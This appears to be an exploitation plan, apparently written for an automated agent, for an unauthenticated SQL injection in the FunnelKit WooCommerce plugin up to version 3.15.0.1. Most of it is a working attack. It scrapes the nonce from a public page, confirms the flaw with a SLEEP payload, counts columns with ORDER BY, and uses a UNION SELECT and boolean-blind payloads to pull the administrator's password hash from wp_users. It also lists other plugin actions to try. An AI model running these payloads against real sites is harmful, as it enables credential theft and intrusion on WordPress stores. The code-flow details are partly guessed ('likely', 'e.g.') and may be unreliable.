FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.15.0.1 - Unauthenticated SQL Injection

This exploitation research plan details the analysis and proof-of-concept steps for the Unauthenticated SQL Injection vulnerability in FunnelKit (formerly WooFunnels).

1. Vulnerability Summary

The FunnelKit – Funnel Builder for WooCommerce Checkout plugin (versions <= 3.15.0.1) contains an unauthenticated SQL injection vulnerability. The issue exists because the plugin registers AJAX handlers for front-end functionality (tracking or checkout data retrieval) that do not properly sanitize user-supplied parameters before incorporating them into raw SQL queries. Specifically, the code fails to use $wpdb->prepare() for parameters like contact_id or email, allowing an attacker to manipulate the query logic to extract sensitive database information.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wffn_get_contact_data (or wfacp_get_contact_data depending on the active module)
• Vulnerable Parameter: contact_id
• Authentication: Unauthenticated (uses wp_ajax_nopriv_ hooks)
• Preconditions: The plugin must be active. For nonce-protected handlers, a public page containing the FunnelKit checkout or opt-in shortcode must be accessible to retrieve the nonce.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action set to wffn_get_contact_data.
2. Hook Registration: The plugin (likely in modules/checkouts/ or includes/class-wffn-contacts.php) registers the action:
   add_action( 'wp_ajax_nopriv_wffn_get_contact_data', [ $this, 'get_contact_data' ] );
3. Handler Execution: The get_contact_data function retrieves the contact_id parameter directly from $_POST['contact_id'].
4. Database Sink: The input is passed into a query function (e.g., get_contact_by_id) where it is concatenated into a string:
   $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wffn_contacts WHERE id = " . $contact_id );
5. Injection: Since $contact_id is not cast to an integer or passed via %d in prepare(), SQL payloads are executed.

4. Nonce Acquisition Strategy

FunnelKit typically protects front-end AJAX actions with a nonce localized in the wffn_vars or wfacp_vars JavaScript objects.

1. Identify Shortcode: The relevant scripts are enqueued on pages using the checkout shortcode [wfacp_checkout] or opt-in shortcode [wffn_optin].
2. Setup Test Page: Create a public page to expose the nonce.
   • Command: wp post create --post_type=page --post_title="Checkout" --post_status=publish --post_content='[wfacp_checkout]'
3. Navigate and Extract:
   • Navigate to the newly created page using browser_navigate.
   • Use browser_eval to extract the nonce:

     // FunnelKit often stores nonces in these objects
     window.wffn_vars?.wffn_nonce || window.wfacp_vars?.wfacp_nonce
     

5. Exploitation Strategy

The goal is to perform a UNION-based injection to extract the administrator's password hash from the wp_users table.

Step 1: Confirm Injection (Time-based)

Verify the vulnerability by causing a delay.

• Tool: http_request
• Method: POST
• URL: https://<target>/wp-admin/admin-ajax.php
• Body (URL-encoded):
  • action: wffn_get_contact_data
  • contact_id: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • security: <EXTRACTED_NONCE>

Step 2: Determine Column Count

Increment ORDER BY until an error occurs.

• Payload: 1 ORDER BY 10-- -

Step 3: Extract Data (UNION-based)

Once the column count is known (e.g., 5), extract the admin hash.

• Payload: 0 UNION SELECT 1,user_login,user_pass,user_email,5 FROM wp_users WHERE ID=1-- -
• Expected Response: A JSON object containing the user_pass string.

6. Test Data Setup

• Plugin Configuration: Ensure FunnelKit is installed and initialized.
• Page Creation:

  wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='[wfacp_checkout]'
  

• Target User: Ensure a user with ID 1 exists (default admin).

7. Expected Results

A successful exploit will return a JSON response similar to:

{
    "success": true,
    "data": {
        "id": "1",
        "first_name": "admin",
        "last_name": "$P$B9z...", 
        "email": "admin@example.com"
    }
}

The password hash (e.g., $P$B...) will be reflected in one of the fields mapped by the UNION query.

8. Verification Steps

1. Check Database: Verify the hash retrieved matches the one in the database using WP-CLI.
   • Command: wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
2. Confirm Unauthenticated: Run the http_request without any session cookies to ensure the nopriv hook is indeed reachable.

9. Alternative Approaches

• Boolean-based Blind: If UNION results are not directly reflected in the response, use boolean checks:
  • contact_id=1 AND (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$'
  • Check for the presence of a "success" vs "error" message in the JSON.
• Different Actions: If wffn_get_contact_data is patched or unavailable, test:
  • action=wfacp_get_contact_data
  • action=wffn_track_link_click (look for id or key parameters)
  • action=wfacp_check_email_exists (injecting into the email parameter)